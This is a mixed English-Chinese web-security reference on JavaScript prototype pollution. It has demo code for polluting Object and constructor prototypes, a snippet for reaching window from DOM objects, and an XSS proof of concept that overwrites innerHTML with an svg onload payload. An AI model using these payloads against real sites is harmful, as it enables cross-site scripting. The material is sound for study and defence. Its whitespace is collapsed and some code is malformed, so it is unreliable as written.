// Run this in the developers tools consolefunctionEmployee(name, position) {this.name = name;this.position = position;this.introduce=function() {return"My name is "+this.name +" and I work as a "+this.position +".";}}Employee.prototypevar employee1 =newEmployee("Generic Employee","Developer");employee1.__proto__
functionVehicle(model) {this.model = model;}var car1 =newVehicle("Tesla Model S");// Adding a method to the Object prototypecar1.__proto__.__proto__.announce=function() { console.log("Beep beep!"); };car1.announce(); // Outputs "Beep beep!"// Adding a property to the Object prototypecar1.__proto__.__proto__.isVehicle =true;console.log(car1.isVehicle); // Outputs true
prototype pollution
对于__proto__使用受到限制的场景，修改函数的原型是一个替代方案：
functionVehicle(model) {this.model = model;}var car1 =newVehicle("Tesla Model S");// Adding properties to the Vehicle prototypeVehicle.prototype.beep=function() { console.log("Beep beep!"); };car1.beep(); // Now works and outputs "Beep beep!"Vehicle.prototype.hasWheels =true;console.log(car1.hasWheels); // Outputs true// Alternate methodcar1.constructor.prototype.honk=function() { console.log("Honk!"); };car1.constructor.prototype.isElectric =true;
// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/// Search from "window" objectfor(let key ofObject.getOwnPropertyNames(window)) {if (window[key]?.constructor.prototype===Object.prototype) {console.log(key)}}// Imagine that the original object was document.querySelector('a')// With this code you could find some attributes to get the object "window" from that onefor(let key1 indocument.querySelector('a')) {for(let key2 indocument.querySelector('a')[key1]) {if (document.querySelector('a')[key1][key2] === window) {console.log(key1 +"."+ key2)}}}
c = [1,2]a = []a.constructor.prototype[1] ="yolo"b = []b[0] //undefinedb[1] //"yolo"c[1] // 2 -- not
Html elements pollution
通过 JS 生成 HTML 元素时，可以 覆盖innerHTML 属性，使其写入 任意 HTML 代码。这个写作的想法和示例.
// Create elementdevSettings["root"] =document.createElement('main')// Pollute innerHTMLsettings[root][innerHTML]=<"svg onload=alert(1)>"// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payloadsettings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"
